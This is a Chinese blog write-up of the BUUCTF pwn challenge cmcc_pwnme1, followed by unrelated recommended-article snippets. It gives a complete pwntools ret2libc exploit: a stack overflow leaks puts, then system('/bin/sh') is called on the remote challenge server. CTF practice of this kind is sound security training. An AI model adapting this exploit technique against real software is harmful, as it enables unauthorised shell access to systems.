[BUUCTF]PWN——cmcc_pwnme1(ret2libc)_Angel~Yan的博客-程序员秘密

技术标签: BUUCTF刷题记录  PWN  

cmcc_pwnme1

附件

步骤

  1. 例行检查,32位程序,没用开启任何保护
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况
    在这里插入图片描述
  3. 32位ida载入,检索字符串的时候发现了读出flag的函数
    在这里插入图片描述
    这个flag的位置不清楚对不对,按照buu的习性,应该不对
    main()
    在这里插入图片描述
    getfruit(),这边存在栈溢出
    在这里插入图片描述
  4. 先试一下那个读出flag的函数,和我想的一样,buu上flag的目录不在那儿
    在这里插入图片描述
  5. 因为看到没用开启nx,所以一开始想要使用shellcode,但是碍于没法获得参数v1在栈上的位置,就换用ret2libc的方法了

完整exp

from pwn import *
from LibcSearcher import *

#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']

#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)

#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)

r.interactive()

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/mcmuyanga/article/details/113433052

智能推荐

[转]我想要的,简单生活。。。。_cos_sin_tan的博客-程序员秘密

也许每个女孩子,都有过这样的或者类似的梦想。25岁前,大学毕业,独居,从事导游或者其他喜欢的行业,开一间小小的书店。 有一间属于自己的房子,不需要很大,五六十平米,卧室阳台宽敞而透明可以躺上去休息,旁边放着白色笔记本,有巨大的落地窗,圆床温暖,床边有通顶的大书橱,书随时可拿,墙上是自己的画、照片,枕边耳机、眼镜、纸巾、耳塞、眼罩、夹子、镜子、手机都是一手即能够到的状态。

制作微博_大疯子520的博客-程序员秘密

package com.example.ui2; import android.app.TabActivity; import android.content.Intent; import android.os.Bundle; import android.view.LayoutInflater; import android.view.Menu; im

Linux主目录没有权限打开解决方法_linux目录没有权限_蚝仔G的博客-程序员秘密

肯定是之前将其设置了权限(chmod)解决:终端输入:sudo chmod 777 ~/

UI_触摸事件_ui触摸事件_yadong_zhao的博客-程序员秘密

基本触摸事件 #pragma mark - 重写方法 #pragma mark 触摸开始 - (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { NSLog(@"touchesBegan"); NSLog(@"%s",__FUNCTION__); } #pragma mark - 触摸移动 - (void)t

随便推点

Linux文件系统的目录结构详解_wdsoft的博客-程序员秘密

一、前 言文章对Linux下所有目录一一说明,对比较重要的目录加以重点解说,以帮助初学者熟练掌握Linux的目录结构。二、目 录1、什么是文件系统2、文件系统的类型3、目录结构的详细解读4、一些重要子目录的解读5、附录:目录结构的简明查阅手册三、正 文我想,不光是我,对于每一个Linux学习者来说,了解Linux文件系统的目录结构,是学好Linux的至关重要的一...

海康威视工业相机SDK二次开发环境配置—Windows10+VS2017_岁禾星涣的博客-程序员秘密

参考链接:https://blog.csdn.net/motikesi/article/details/108287951一、SDK下载地址:https://www.hikrobotics.com/machinevision/service/download?module=0Windows(V3.3.0和V3.2.1都行):二、环境配置(Windows10+VS2017)下载得到如下压缩包,解压有一个安装包,安装,SDK安装路径下Development目录下: 详细说明可看

在配置DDOS高防服务后为什么会出现有些源站IP被封的情况?_cilin7010的博客-程序员秘密

DDOS分布式拒绝服务,在网络中的各个行业肆掠横行,有一些受到影响的用户已经选择了有效的缓解方式,但还是会有一些问题存在。比如,有一些用户在接入了DDOS高防服务后,源站IP还是被打挂,导致IP被封,网站打不开,不能运行...

工作中遇到的一些小问题记录_chunhazhan5688的博客-程序员秘密

F5刷新火狐浏览器页面,input select 等标签的值会被缓存下来,在标签上添加autocomplete="off" ,即可解决这一问题。 js: event.stopPropagation(); 阻止事件被派发到其他节点。如:<a href="#"><i...

.NetCore——OpenCvSharp识别Aruco图_小学生_乔凡的博客-程序员秘密

.NetCore——OpenCvSharp识别Aruco图一、开始在之前一章中在C#中引用了OpenCvSharp生成Aruco图(.NetCore——OpenCvSharp创建Aruco图),那么这次就来看看OpenCvSharp识别Aruco图。直接看代码。具体的解释看代码注释//读取图片 Mat image = Cv2.ImRead(@"D:\办公\JWT_CoreApi\Aruco\两图左右.jpg"); //Create标

POJ 3159 Candies(最短路 差分约束)_Twillz的博客-程序员秘密

Candies Time Limit: 1500MS Memory Limit: 131072K Total Submissions: 31848 Accepted: 8896 DescriptionDuring the kindergarten days, flymouse was the monitor of his class. Occasionally the